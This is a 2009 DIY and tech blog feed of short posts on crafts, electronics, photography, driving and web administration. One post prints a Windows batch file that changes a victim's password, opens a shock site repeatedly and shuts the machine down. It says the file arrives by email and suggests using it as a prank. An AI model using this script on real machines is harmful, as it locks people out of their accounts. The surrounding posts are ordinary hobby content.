zedomax.com » Educational

Recycle DIY – How to Recycle Tin Cans as Pencil Holders using Grout and Creativity!

max — Thu, 19 Nov 2009 19:53:57 +0000

I really love it when people make things like this out of stuff that would go into your recycling bin, a pencil holder made using old tin cans and grout! Brilliant! Keep up the great work and reduce our carbon footprint!

We all use some canned foods from time to time. And we all probably use empty cans for one purpose or another. This instructable shows how to decorate cans to be used as organizers for pencils, pens, paint brushes, etc. It’s a simple thing to do, and children would especially have fun making their creations.

via instructables

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Recycle DIY – How to Recycle Tin Cans as Pencil Holders using Grout and Creativity!

Sonar DIY – How to Make Sonar-Like Radar Visualizer for an Ultrasonic Scanner!

max — Tue, 17 Nov 2009 22:52:13 +0000

Good morning! Here’s a rather interesting DIY that shows you how to make a sonar-like radar visualizer for an ultrasonic scanner. Now, I think this could easily be applied to other types of scanners including infrared, radio, etc…etc… Great!

First things first, we need to build our circuit. This is the easy bit! We’ll be using the Arduino to control a servo that will rotate our sensor around 180 degrees. The Arduino will then send the value from the sensor along with the current angle of the servo to the serial port.

via make

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Sonar DIY – How to Make Sonar-Like Radar Visualizer for an Ultrasonic Scanner!

Circuit DIY – How to Make PCB with an EAGLE schematic!

max — Sun, 15 Nov 2009 08:57:59 +0000

Here’s a great tutorial showing you how to make a PCB with an eagle schematic. I am sure most of your PCB experts know how to do this but for those of you dummies who can’t, this is invaluable free lessons.

In this instructable, we’ll make a printed circuit board from that schematic

I guess I should say that we’ll make a PCB DESIGN ; making the physical board is a different task, and there are a lot of tutorials on the net (and even some instructables) on making the board after you have the design.

via instructables

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Circuit DIY – How to Make PCB with an EAGLE schematic!

Video Tour of Exploratorium in San Francisco!

max — Sat, 14 Nov 2009 23:59:02 +0000

The other day, I did a shoot with my new Canon 7D DSLR at Exploratorium in San Francisco, there’s a ton of interesting science and technology stuff you can play with.

For those of you who live outside California, you can enjoy my short clip here. There’s some really cool stuff like the man-made hurricane, I like the most…

My video skills are improving slowly. Until I get a faster computer to render these HD videos, these will be the best I can do… well, improving.

(Shot with Canon 7D and 28-135mm in 1080P 24p mode)

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

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Video Tour of Exploratorium in San Francisco!

Network DIY – How to Make an RJ-45 Ethernet Cable Tester!

max — Wed, 11 Nov 2009 23:14:36 +0000

As a self-claimed network technician, I did a whole 5,000 square foot building with Ethernet Cat-6 cables almost 8 years ago. Well, since then I am glad I never had to use an ethernet cable tester but for those of you looking to save some money on this RJ-45 cable tester, you can make your own.

We are going to make DIY RJ45 Cable tester for incredible cheap.As you know cable testers are really expensive insturments and for people who always works with network it is an essential part.
I will try to help you to build one of them with basic electronic ways.

via instructables

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Network DIY – How to Make an RJ-45 Ethernet Cable Tester!

Photography 101 – What is Shutter and Aperture?

max — Thu, 05 Nov 2009 19:56:29 +0000

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

Here’s a great video explaining the shutter and aperture of the camera, great info for photography beginners. (like me)

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Photography 101 – What is Shutter and Aperture?

Photography DIY – How to Make a Medium Format Camera!

max — Tue, 03 Nov 2009 18:35:54 +0000

Here’s a great DIY showing you how to make a medium format camera from scratch. I guess these cameras are usually super expensive but this DIY shows you how to make it yourself so you save some money on it too. Well, I am not a photography experts (yet) but seems like also a great way to learn more about photography in general.

The first thing to do was research of course. To start with: what do i know about cameras? Well I know I own a Nikon D200 with several accessories and lenses and are interested in photography. That was pretty much it. Next thing was then to find out exactly how a good old view camera works and what parts are involved in the process. There are pretty much three things in sush a camera, a lens, a ground glass (whatever the hell that is) and bellow between the lens and ground glass that allows focusing. After some further research on the internet and consultation of a friend that knows enough mathematics and physics to be considered at least slightly mad I felt I had a rough idea of how to pull this whole thing off.

via make

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Photography DIY – How to Make a Medium Format Camera!

DIY Cockroach Robot can Survive a 300-foot Fall Off a Building!

max — Tue, 27 Oct 2009 01:04:29 +0000

The UC Berkeley EECS department has been developing these robots that mimic traits of a cockroach and can also survive a 300-foot fall from the top of a building to the ground. Apparently, this could possibly lead to better disaster-proof designs for airplanes, cars, and alike.

Heck, I would like them to build a life-sized cockroach that I can ride in, perhaps I can jump off buildings without worrying about actually killing myself. (like a cockroach)

Using compliant fiber board as structural material, and a single main driver motor, the DASH robot is capable of 15 body lengths per second on flat surfaces. The structure is resilient and survives ground impact at terminal velocity of 10 meters per second.

via singularityhub

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DIY Cockroach Robot can Survive a 300-foot Fall Off a Building!

Save Earth Idea – Recycling Arcade Game!

max — Fri, 23 Oct 2009 05:13:42 +0000

Call me a gambler but I think the world would have much more incentive to recycle if we had more of these recycling arcade games in every block of every city in the world.

Even better, I’d say legalize gambling legal just for these recycling arcade games except that you can only use recyclable bottles and cans as money. (but win money if you hit jackpot)

I think it’s a safe bet since most casinos do take the money, I don’t see how the government could lose.

Of course, with the amount of politics involved, this might not be possible but indeed would make recycling a whole lot more efficient and fun.

Even those who are broke from gambling in real casinos can collect cans/bottles to try again, perhaps win jackpot and another life.

via hackaday

Watch this video on the recycling arcade game experiment:

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

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Save Earth Idea – Recycling Arcade Game!

Web Server Hack – How To Install Lighttpd with WebDAV!

max — Wed, 21 Oct 2009 21:12:04 +0000

Last time I mentioned how you can run Lighttpd with Wordpress to handle bunch more web traffic and save on server hosting costs. Well, here’s another great tutorial on HowToForge.com that shows you how to setup WebDav with Lighttpd. – link

This guide explains how to set up WebDAV with lighttpd on a Fedora 11 server. WebDAV stands for Web-based Distributed Authoring and Versioning and is a set of extensions to the HTTP protocol that allow users to directly edit files on the lighttpd server so that they do not need to be downloaded/uploaded via FTP. Of course, WebDAV can also be used to upload and download files.

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Web Server Hack – How To Install Lighttpd with WebDAV!

Motion Detector Hacks – How to Add Motion Detectors to Motion Props!

max — Tue, 20 Oct 2009 22:48:47 +0000

FreeWebs.com has some great tutorials on how to add motion detectors to motion props. You might also be interested in the Motion Detector Alarm System I made couple years back. These motion detectors are usually rather simple consisting of ON or OFF signal but very useful in various different projects.

via make

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Motion Detector Hacks – How to Add Motion Detectors to Motion Props!

Recycle DIY – How to Make Old Light Bulbs into Flower Vases!

max — Sun, 18 Oct 2009 05:26:57 +0000

Check out this awesome DIY by Giannina Lezcano who shows you how to make old light bulbs into flower vase, this is the most innovative DIY I have seen so far using old light bulbs.

She uses wires to connect the old light bulbs together and hangs the bulbs upside down so she can fill it with water and put flower to grow in.

We need more people like Giannina in our world. Brilliant!

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

via giannyl

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Recycle DIY – How to Make Old Light Bulbs into Flower Vases!

Bug DIY – How to Make a Fruit Fly Trap!

max — Sun, 18 Oct 2009 05:05:39 +0000

Fruit flies are common all over the world. Of course, you will need to learn how to deal with them so you can get rid of them.

One of the best ways is actually to leave your unfinished wine glass (with wine) where the fruit flies are. I find this method the most effective but my girlfriend told me that the fruit flies will suffer while “drowning” in the wine. Which is true and perhaps inhumane so I stopped doing that.

Another way to make an easy fruit fly trap is to leave an unfinished beer can (with some beer) where the fruit flies are. Again, this method will “drown” the fruit flies although you can’t see them drowning since beer cans are not see through.

Of course, there’s also this fruit fly trap you can make over at instructables.

No matter what, any fruit fly trap will cause at least some kind of pain while the fruit flies die. Perhaps this is going very far but “life” is considered important in buddhism. I am not a buddhist but I have started killing less insects. I used to kill a whole lotta spiders, but now I grab them in plastic bags and let them free outside, something my girlfriend taught me. Before, I wouldn’t think twice before killing an insect. Now, I think twice because if the insect isn’t really harming you in any way, certainly there’s no reason to kill it. But yes, I will still kill Black Widow spiders on sight, I have no regrets about them and surely God will understand.

Remember, think of it in the insects’ shoes. What if you were an insect, you didn’t harm any humans but they squatted you simply because you were annoying?

Something to think about in life, just my 2 cents.

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Bug DIY – How to Make a Fruit Fly Trap!

Recycle Hack – How to Turn your Old Car into an Artistic Ball!

max — Sat, 17 Oct 2009 21:33:18 +0000

Don’t know what to do with your old car? Turn it into a big artistic ball! – link

Not sure what to do with that old gas guzzler? How about turning it into a giant ball? That’s what artist Keny Marshall did with this 1983 Jeep Grand Wagoneer. There aren’t any build instructions, but you should be able to figure it out from the construction video.

via make

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

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Recycle Hack – How to Turn your Old Car into an Artistic Ball!

Computer Hack – How to Use .bat files To Hack Another Windows PC!

max — Fri, 16 Oct 2009 12:20:01 +0000

The following information is presented so more people are aware of what kind of hacks hackers can use to hack your computer. For reference, not for hacking another’s computer!

This hack uses a .bat file to change your Windows password, open some malware site on Internet Explorer, and then shuts the computer down. Now, this isn’t going to work that well unless the innocent user actually receives the file through e-mail and “accidently” opens it.

But it is interesting to know what hackers are using, this one probably one of the most basic.

I’ve seen some really crazy hacks but this hack, you can most likely prevent it from taking over your computer if you use a firewall. By the way, Windows firewall may work but I highly advise to use something 3rd party because hackers can hacks Windows system programs including the firewall itself.

The .bat batch file:

@echo off
net user (username of victim) “New Password”
start iexplore MeatSpin.com
start iexplore MeatSpin.com
start iexplore MeatSpin.com
start iexplore MeatSpin.com
start iexplore MeatSpin.com
start iexplore MeatSpin.com
shutdown -c “Your message here” -s -t 10

The hacker site also warns not to open MeatSpin.com, it’s a malware site I guess.

Again, this is good to know. If you are into computer security, I am sure this is something you know already but maybe good for newbies who are just learning about preventing hackers from attacking their computers.

On the side note, you could probably install this on your friend’s computer as a prank, that’d be sorta funny.

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Computer Hack – How to Use .bat files To Hack Another Windows PC!

Swimming 101 – How to Do a Flip Turn!

max — Tue, 13 Oct 2009 22:19:13 +0000

When I was about 13, my mom used to take me to YMCA in South San Francisco where I learned how to do various swimming basics such as the flip turn. Btw, YMCA has the god-awful smell of urine, I try to avoid them nowdays.

Anyways, enough about my life, here’s how you can learn online on how to do a flip turn, a must if you want to keep swimming fast in the lap pools.

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

My advice for a quick flip turn on a freestyle stroke: Simply start flipping before you reach the end of the pool and make sure your legs are ready to jump back out.

For backward strokes(or strokes where you are seeing the ceiling): Try to mark a point in the ceiling where you know you have reached the end of the pool lane and start flippin.

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Swimming 101 – How to Do a Flip Turn!

PHP DIY – How to Write a Function in PHP!

max — Mon, 12 Oct 2009 21:36:39 +0000

I happened to learn PHP while hacking my own blog. (and plus I’ve had about 20+ years of general programming experience so that helps too)

Writing a function in PHP is sorta similar to C or C++ language. The commands are very similar just more oriented towards the web or internet.

I could probably go on 20+ pages on how to write a function in PHP but heck, I really don’t have time for that so check out this nice blog post by Brandon that shows you how to write a function in PHP and more.

For new developers, especially developers who have never been programmers before, moving from writing simple scripts to writing functions is a process that takes time. I developed in PHP for years before I wrote a single function. I also never found a comprehensive tutorial on how functions work, or how to write them. There’s documentation in the manual, but it’s a bit hard to grasp if you’re new. This article is about writing functions.

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PHP DIY – How to Write a Function in PHP!

Multi-Touch Hack – How to Make Your Own Multi-Touch LCD!

max — Sun, 11 Oct 2009 21:30:48 +0000

Here’s a really awesome multi-touch hack that shows you how to make your own multi-touch LCD with some LEDs.

Flat multitouch LCD monitor which only uses light emitting diodes as optical sensor elements. The sensor resolution is 48 × 32 LEDs. Instead of the high number of LEDs the power consumption is about 3W at a frame rate of 10 Hz.

via hackaday

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

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Multi-Touch Hack – How to Make Your Own Multi-Touch LCD!

Solar DIY – How to Make a Solar Food Dehydrator!

max — Sat, 10 Oct 2009 20:30:07 +0000

We’ve seen many ways to make a food dehydrator before, here, and here. I even got a food dehydrator here as a Christmas present when I was completely broke couple years back. Well, here’s another great guide on how to make a solar food dehydrator! (via make)

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Solar DIY – How to Make a Solar Food Dehydrator!

Contacts DIY – How to Wear/Remove Contact Lenses!

max — Sat, 10 Oct 2009 09:42:35 +0000

I happened to be one of those people who wear contact lenses day in and out, my eyes have actually been turning more red over the last 21 years I have worn them. Well, for those of you who are just wearing contacts, you can learn how to wear/remove contact lenses the right way here:

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

No matter what, wearing contact lenses for a long period of time is simply bad for your eyes. You should always have a pair of glasses you can wear when you don’t need to wear contacts. As for me, my eyes are so bad and my eye glasses are so heavy (I swear, it’s more than a pound!), I have to wear my contacts. (until I get a Lasik, oh well…)

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Contacts DIY – How to Wear/Remove Contact Lenses!

Recycle DIY – How to Make a CD Clock!

max — Sat, 10 Oct 2009 06:00:15 +0000

Here’s a really cool way to recycle your old favorite CDs into clocks and works of art. These would make great gifts for your loved ones. via instructables

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Recycle DIY – How to Make a CD Clock!

AC DIY – How to Make an Air Conditioner!

max — Mon, 28 Sep 2009 20:13:57 +0000

As someone who loathes hot weather (and part of the reason why I am living in San Francisco where the temperature is 70 degrees fahrenheit all year long), I have always been curious how to make an air conditioner.

This isn’t probably the most efficient air conditioner in the world but you could probably learn a lot about how to make an air conditioner, plus you could easily make a gigantic version to cool your hot home.

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

More ways to way an air conditioner:

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AC DIY – How to Make an Air Conditioner!

Driving Hack – How to Get More Mileage on Your Car by Driving More Efficiently!

max — Sat, 26 Sep 2009 11:47:54 +0000

Recently, I found out a “secret” on how to get more mileage from your car without any kind of gimicks or gadgets but by doing less, waaaay less.

I admit I am a city boy or city man if you want to call it that. I used to drive very fast, tailgate everyone, cut off everything. That’s just the environment I grew up in South Korea where yelling at your fellow drivers was just like eating breakfast.

Well, I have done that over 15 years of my life but sadly, my fast life has come to an end.

Of course, I did go from 15.4 miles per gallon to a whopping 19 miles per gallon on my V6 gas-powered 2002 Chevy Trailblazer SUV. Now, that’s a whopping 23.38% increase in efficiency of my SUV!

LMAO, I am thinking if EVERYONE in the world did what I did, it could possibly save more gas than any hybrids can.

So, here’s my secret.

1. Accelerate your car gradually at all times unless it’s an emergency. By not acclerating hard on your car, you will use your gas as efficiently as possible.

2. Try to accelerate more on downhills but less on uphills. By accelerating on downhills, you are in effect using your momentum so your gas is used more efficiently. If you try to accelerate too much on an uphill, it’s simply not efficient and you will end up using more gas.

3. This is one of the biggest secrets I found for my SUV. Most cars are most fuel-effcient at speeds between 25 to 55 MPH. Anything less or more will probably be inefficient. What I found was that these speeds are most common during modest traffic.

I used to frown when I encounter traffic on the road, now I smile because I can save more gas.

How?

Simply keep a good distance (about 5-10 seconds) between you and the car in front of you. Then, make sure to let off on the gas if you see brake lights. The 5 to 10 second gap will let you “coast” while your car will get near 99 MPG during that highly efficient mileage time. Of course, the 5-10 second gap also gives you a good chance that the traffic ahead will start moving again.

I have an MPG meter on my SUV and by doing this I found that I got about 60 to 99+ MPG during modest traffic where speeds are around 25 to 45MPH.

YES! That means you can actually get more miles per gallon during TRAFFIC!

As crazy as that sounds, it works.

Modest traffic is your best friend when it comes to driving on the highway. Plus, by keeping a gap between your car and the car in front of you, you will be able to erase traffic waves.

I see that 99% of people in traffic don’t do this. They do the opposite and press on the gas, brake, gas, brake, while I am never even hitting brake most of the time, just gassing as it’s needed to keep my 5-10 second gap.

Think of how much gas the world will save if everyone did this.

You don’t need an electric car, you just need to “drive more efficiently” to save earth.

That’s a whopping 23.38% increase in gas efficiency, THINK ABOUT THAT!

I am sure we can surely use that 23.38% to better use, don’t you think so?

Of course, most of us humans do not have the patience to achieve this because we are humans and we like the gas/brake combo by nature.

But I highly suggest you to try my methods and see if you can become more efficient at driving your gas guzzler. (and save earth)

Besides saving gas and earth, driving in this fashion will lower your heart rate, lessen your risk of heart diseases/cancer, and ultimately let you live longer.

There’s never a good reason to be in a hurry anyways unless your wife is pregnant or someone’s sick. If you must get to work in time, just get up earlier. If you must make it to an appointment, leave earlier. If you just need to go really fast and furious for an adrenaline rush, get a motorcycle like me; it’s much faster and furious than cars anyways.

Hurrying never helps anyone’s life, it just makes you feel like you are doing something faster when in reality, you are simply doing things less efficiently.

Again, there’s absolutely no reason to hurry unless you drive the fire truck.

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Driving Hack – How to Get More Mileage on Your Car by Driving More Efficiently!

The Astro Plant

David Allen — Fri, 25 Sep 2009 15:00:03 +0000

The first plant on the Moon could be this one, it is the work of two organisations, Odyssey Moon and the Paragon Space Development Corporation, their combined goal is to go after the Google Lunar X Prize worth $30 million!

The plan is to get this self contained capsule to the Moon where it will grow, sow seeds etc, in fact complete the entire plant life cycle proving that a self contained unit could survive up there with no human interference. Could this be the future of space travel, where whole families and communities are launched into space in self contained capsules?

Source [Gagjitz]

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The Astro Plant

Ever wondered what they eat in Star Wars

David Allen — Thu, 24 Sep 2009 16:00:50 +0000

Having watch all of the Star Wars films over and over, there are still a couple of questions that are outstanding, the first where to do go to the bathroom and the other is what do they eat?

Well the second question is easy, all you have to do is buy this Chronicle, The Star Wars Cookbook, you get plenty of weird and wonderful recipes that use surprisingly familiar ingredients. There are over sixty wonderful pages in the book, enjoy!

Features:

Learn to make Wookie Cookies, Hanburgers and Obi-Wan Kebabs

Over two dozen recipes are presented, including breakfasts, lunches, dinners and snacks

Try Jabba’s jiggly juice, Yoda’s soda, the Tusken Raider taters, and more

Particularly suited for young Jedi culinarians

60 pages

Priced at $16.95

Source [X-treme Geek]

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Ever wondered what they eat in Star Wars

CPU Hack – How to your Control your Computer/Laptop CPU Speed!

max — Tue, 22 Sep 2009 01:41:25 +0000

Recently, I fixed my old HP laptop that had a CPU overheating problem. I even replaced the CPU fan with a new one but still, the HP laptop keeps freezing because the AMD Turion 64 CPU on it was simply poorly designed as far as heating problems were concerned.

However I did find a great free software that solved my problems and also helps on desktop PCs too. This might be the best free tool ever for Windows XP/Vista users yet.

The free CPU management software is called Notebook Hardware Control (NHC). It runs on most laptops/desktops flawlessly and automatically controls/throttles your CPU speed/voltage so your CPU never overheats.

After you download the NHC and install it on your Windows XP or Vista computer, go to Settings and click on “Show all NHC options and settings”.

Now, you will be able to more menus. Go to CPU Speed and you can adjust the settings, including your own custom, dynamic switching option.

If you set it to “dynamic switching”, NHC will automatically throttle your CPU frequency just as it’s needed. This will save you a ton of battery life on laptops plus your CPU will last much longer since it’s not running on full 8 cylinders.

The problem with Windows XP and Vista is that the operating system has been designed to basically run on full CPU power.

With NHC, you no longer need to do that. It’s like optimizing your CPU power.

I actually tried couple other programs before this one but I find this one easy to use and most effective. You can also try SpeedswitchXP, which is exclusively for XP machines but works pretty well too.

For my ailing HP laptop, I set the setting to “Battery Optimized” so the CPU will run at its minimal speed. Now, the CPU never overheats, it never even gets hot enough for the CPU fan to come on.

Another suggestion for laptops is to always use “hibernation” mode instead of rebooting Windows everytime if you have CPU overheating problems. Hibernation takes much less CPU power and sometimes with overheating CPUs, you can’t boot unless your CPU has been cooled to room temperature.

Using NHC and hibernation, now my old HP laptop can run just fine. A bit slower than its full CPU capacity but still better than frozen screens.

There’s also additional features in NHC such as showing your actual temperature of your CPU and other chips on your computer/laptop.

I liked it so much, I even put it on my desktop PCs. Now my desktop PCs simply throttle CPU speed to almost nothing if I leave it on while doing something else.

Resources for Controlling your Computer/Laptop CPU Speed

Notebook Hardware Control (NHC) – Works on Win XP/Vista, works great with desktop PCs also.
SpeedSwitchXP – Works on Win XP, I initially used this one, it works quite well also with ability to control CPU fan speeds too.
SpeedFan – SpeedFan is a great way to monitor your CPU temp/speed and more.

Brought to you by: Zedomax.com

CPU Hack – How to your Control your Computer/Laptop CPU Speed!

The Go Green Water Bottle

David Allen — Fri, 11 Sep 2009 15:00:51 +0000

This is your chance to protect the environment and then in turn save the planet, there may not be a better time to turn green and water bottles use up a lot of resources and so these bottles will last for a long time. They have been especially designed to allow ice to be placed inside and every bottle comes with a “Go Green” tag.

Specs:

Each bottle comes with dual, leak resistant caps, one for drinking, the other wide mouth to insert ice cubes and make hand cleaning easier

Also comes with handy caribineer clip

Our lightweight bottle weighs less than 6 ounces and holds 24 ounces of your favourite cool or cold drink (not for hot liquids)

Measures 10″ tall and 2.5″ wide to fit most auto drink holders

Comes with attractive “Go Green” hangtag

Priced at $12.95

Source [Amazon]

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The Go Green Water Bottle

Cartoon DIY – How to Draw Garfield

max — Thu, 10 Sep 2009 19:50:29 +0000

Well, I am getting a little lost here, I don’t even know what this blog is even becoming other than a bunch of “how to” articles.

Here’s another one I did just now, “how to draw garfield”:

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

Enjoy~

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Cartoon DIY – How to Draw Garfield

Interesting HOWTOs on Making Money Blogging!

max — Wed, 02 Sep 2009 18:36:18 +0000

Well, I have been actively blogging more over at Zedomax.Biz, which is my .Biz site featuring helpful articles for your life and making money blogging.

Here’s a couple of the latest blog posts you might be interested in:

Well, that should be enough fun reads for all of you who want to learn “how to make money blogging”, enjoy!

And don’t forget to work like 30 people like me:

Download latest version of Flash to view video!.

Click Here to View in Full Screen Mode

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Interesting HOWTOs on Making Money Blogging!

Palm Pre Hack – How to “Tweet” Your Palm Pre’s GPS Location to Twitter!

max — Sun, 23 Aug 2009 22:44:57 +0000

Well, I digged a bit further with my Palm Pre GoogleMaps GPS tracking app and made a new app that will track your Palm Pre’s GPS location via Twitter.

This is a better way to keeping a record of where you have been traveling in the past with your Palm Pre.

Here’s a screenshot of my latest update @trackmypalmpre:

If you go type the location on GoogleMaps, you will get the following:

Incredibly, I am actually right under that tree in my car near the Monarch Bay golf course in a public parking lot, writing this very blog post using my netbook and my hacked Palm Pre WiFi Router.

LMAO, I will have to turn off the updates eventually, I don’t want everyone to know my location. (OR I can set my Twitter updates to private so only I can see…)

But I will leave them up for now, you can track me @trackmypalmpre.

Click here for Full step-by-step directions on how to tweet your Palm Pre’s GPS location.

Brought to you by: Zedomax.com

Palm Pre Hack – How to “Tweet” Your Palm Pre’s GPS Location to Twitter!

Palm Pre Hack – How To Install a Wordpress Blog Website on a Palm Pre!

max — Sat, 22 Aug 2009 07:40:57 +0000

You know, I haven’t had this much “hacking” fun since I first started this site. I just figured out how to install a Wordpress blog on my Palm Pre! It runs really well btw but I can’t tell you the domain name since Sprint might cancel my contract if too many people start accessing it.

Anyways, I’ve written a detailed DIY guide over at Palm Pre Hacks Blog, make sure to check it out if you plan on taking your website with you at all times.

P.S. I am sure there will be one day technology gets so good that my blog will run on a cellphone.

And yes, it’s 11:38PM saturday night, life doesn’t get better than this. hahaha.

Since the Palm Pre is based on Linux, I figured that you could probably run a Wordpress blog on the Palm Pre. Well, after about 3 hours of research, I found a way to run a wordpress blog using Optware Lighttpd and MySQL server. (Lighttpd is a “light” version of Apache pretty much and would be perfect candiate for the Palm Pre since its hardware isn’t made for full-fledged websites rather for a smartphone.)

via palm pre hacks blog

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Brought to you by: Zedomax.com

Palm Pre Hack – How To Install a Wordpress Blog Website on a Palm Pre!

The Third Edition Pocket Ref

David Allen — Thu, 20 Aug 2009 00:00:40 +0000

This is the mini version of the book that has all the answers to everything single question that you have ever wanted to know the answer to, supposedly! The book has an answer for everything that you could ever dream up, apart from those questions that have no answers, like the meaning of life etc, or maybe it really does have that answer too!

Features:

Trailer Wiring

Auto Travel Charts

Carpentry & Construction

International Electric Sockets & Voltage

First Aid

Glues & Solvents

Car Rental 800 Numbers

Country Codes & Information

Proofreading Marks

50 Most Common Knots

Metal Hardness Scale

Weather Map Symbols

Tip Table

Geology

Math, Science & Physics and MUCH, MUCH MORE!

Seriously, this book is so awesome, it caused Adam Savage (yes, the Adam Savage from Myth busters) to joyfully exclaim, “It’s got everything in it…. It should be in everyone’s toolbox.” We’ll let that quote speak for itself.

Dimensions: 3.2″ x 5.4″ x 0.9″

Priced at $11.99

Source [Think Geek]

Brought to you by: Zedomax.com

The Third Edition Pocket Ref

Network DIY – How to Choose the Right Network for Your iPhone or Palm Pre!

max — Wed, 19 Aug 2009 22:34:15 +0000

PCWorld has recently conducted an unbiased data test for the 3 big cellular providers Verizon, Sprint, and AT&T.

The results are not shocking as AT&T had the most unreliable service, meaning you could get fast download speeds in your bathroom while you might even struggle to get connection while you drive.

On the bright side, Verizon and Sprint came out on top for reliability, which is probably the most important factor in choosing the fastest data network for your smartphone, iPhone, or Palm Pre. Oops, iPhone is not available on Verizon or Sprint, I would simply wait until it is available if you really want the iPhone or just get a iPod Touch like I did.

These test verify my recent speed test of iPhone 3G versus the Palm Pre. Of course, I have been complaining about AT&T’s slow service ever since it came out or even the days before AT&T’s cellular network used to be called Cingular.

Don’t forget that Sprint is the only data network rolling out 4G right now. If you are on any other network, you will eventually have to switch to be up to speed.

As all things, I hate anything that’s slow but I heart anything that can be done as fast as humanly possible.

Make a wise choice when you choose your network for your cellphone. If you happened to live in good AT&T coverage/speed area, well you must be one of the few. But otherwise, Sprint is probably the better choice, common sense, not biased opinion.

Brought to you by: Zedomax.com

Network DIY – How to Choose the Right Network for Your iPhone or Palm Pre!

Parenting DIY – How to Get your Kids to Do What You Want Them To Do!

max — Wed, 19 Aug 2009 21:42:16 +0000

Here’s a simple advice for parents out there who are trying to motivate their kids to do things such as sports.

1. Do not “force” your children to do what you want them to do.

2. Make your kids “hungry” about things you want them to do.

3. Find a way to make your kids have “fun” on the things you want them to do.

4. Once they are having “fun”, make them stop even if they cry or whine. This will make them “hungry” the next time they do the same thing.

5. Wait a couple days and repeat steps 3 to 4.

I think part of parenting is “tricking” your kids to having a great time at whatever it is then not letting them do too much of it.

How do I know?

I have read hundreds of golf books on how to teach kids and have taught many kids before. Of course, that’s how you do it, by letting the kids have fun with a golf club but don’t let them get “burned out” by playing too much golf. Even professional golf, as I am one myself a pro golfer, requires that the golfer does not “burn” himself out. I am sure even Tiger Woods takes long breaks every once in awhile to refresh his mental state and get hungry again.

I hope that helps and this can also work on yourself too. If you find yourself struggling to focus on your work, make an excuse that you are sick and take at least one day off. That will freshen your mind and you will be 10 times more productive when you come back.

Happy parenting!

Brought to you by: Zedomax.com

Parenting DIY – How to Get your Kids to Do What You Want Them To Do!

Web Server Hack – How to Use DDoS Deflate to Protect Against DoS Flooding!

max — Tue, 18 Aug 2009 02:58:30 +0000

I have been using DDoS Deflate, which is a simple script that will automatically help you against DoS attacks on your server. Basically it works by killing any HTTPD processes/banning IPs that reach more than set number of TCP connections.

It’s a great script since it’s free, simple, and works well against DoS attacks. Yes, forget paying that extra hundred dollars to your server company, who’s going to probably install this script anyways.

The real gem of the DDoS Deflate script lies in configuration. Depending on how you configure the DDoS script, you can protect yourself in number of different ways.

To install, simply follow these directions on your SSH command prompt in the linux server:

wget http://www.inetbase.com/scripts/ddos/install.sh
chmod 0700 install.sh
./install.sh

After installing, go to the directory /usr/local/ddos, where the configuration files are.

If you open up ddos.conf file using your favorite editor, you can edit the following settings for getting the most out of the script:

NO_OF_CONNECTIONS=150

This is the number of connections before your server kills/bans that IP address for a set amount of time. I think 150 works well but if you are suddenly getting attacked from smart hackers with many, many IPs, you could probably adjust this to a very low number.

BAN_PERIOD=600

You can adjust the BAN_PERIOD setting to set amount of time to ban that IP since you don’t want to ban the IP permanently, there could be other innocent visitors sharing the same IP.

You can first use the default settings in the beginning and play around a bit.

The script will also e-mail you under the default domain name root@mysite.com whenever an IP reaches beyond the maximum number of allowed connections. Make sure you set the e-mail correctly so you receive those alerts if you want them by editing the EMAIL_TO variable in the ddos.conf.

Using More than 1 server?

For example, you can also “whitelist” IP addresses that might be connected to your server such as your MySQL server by editing the file ignore.ip.list file under the same directory. By the way, I’ve accidently forgot to whitelist my MySQL server before and my website started showing “Database Connection Error”, don’t let that happen to you.

Well, that’s about it, this script is pretty good against DoS flooding so you don’t have to be manually messing with your iptables or whatnot. I install this script on everyone of my VPS/dedicated servers and you should too just in case some hacker decided to flood you with garbage.

Brought to you by: Zedomax.com

Web Server Hack – How to Use DDoS Deflate to Protect Against DoS Flooding!

Web Programming DIY – How to Protect Yourself Against Image Hotlinking!

max — Tue, 18 Aug 2009 02:21:15 +0000

For those of you who run small websites on shared servers, you might sometimes run into problems where your images are “hotlinked” and your bandwidth stolen. Here at Zedomax.com, we run a server farm so we don’t have bandwith problems so far but here’s 2 really great resources on how to protect yourself against image hotlinking:

AltLab.com has some simple instructions on how to stop hotlinking via .htaccess file in your web server.
AlistApart.com has a slightly more complex PHP method that can help you protect against unwanted hotlinking.

If you have a website with no hotlinking image problems, it’s probably wiser and more beneficial to let people hotlink your images. But of course, if your website starts going down for no reason, look at your web logs and see if someone has hotlinked your images. For one, social networking services like StumbleUpon is built on hotlinking images. If you use StumbleUpon a lot, you might want to check that your images are not being “stumbled” out of control. If it is, simply put the code and you won’t have to worry about your website going down. *Side Note – StumbleUpon really needs to “cache” those images instead of hotlinking.

Brought to you by: Zedomax.com

Web Programming DIY – How to Protect Yourself Against Image Hotlinking!

CSS Hack – How to Display CSS Dropdown Menus Over iFrames!

max — Sun, 16 Aug 2009 18:18:42 +0000

I have been working on a new CSS Dropdown menu using some free code over from Alist Apart. You should see the updated dropdown menus right here on Zedomax.com real soon when I am done tinkering with it.

Well, I ran into a problem while developing these CSS dropdown menus, the menus would display “under” the Google Adsense ads, which are basically iframes.

I kept googling for some solutions but there was really no clear answer out there but I found that you can easily do this by using “Z-index“, which is a CSS property that lets you position a DIV over iframes.

One point is that you need to make sure to use a “position:absolute” or “position:relative” along with the z-index, otherwise it won’t work.

I simply added the following 2 lines to where I wanted to display my CSS dropdown menus over Google Adsense iframes. (It will depend where you put it, it could be ul, li, ul li, or even ul li ul depending on how you have your CSS menus set up.

position:absolute; z-index: 10;

Here, I set z-index to 10 to make sure there no other z-indexes higher than that. You can also set the z-index to a negative number by the way.

I am sure some of you will run into this same problem so I hope this helps you figure it out!

*UPDATE – I found that when you put it under the children, it will work in Firefox but not in IE. To get it working in IE, put position:relative and z-index on your parent ul.

For example, do this:

.catbar ul { position:relative; z-index:10; }

You will need to position your parent ul as relative but declare your child ul as absolute and you can make it work in IE.

Brought to you by: Zedomax.com

CSS Hack – How to Display CSS Dropdown Menus Over iFrames!

Garden DIY – How to Make a Growing Garden Green Chair!

max — Sat, 15 Aug 2009 19:06:10 +0000

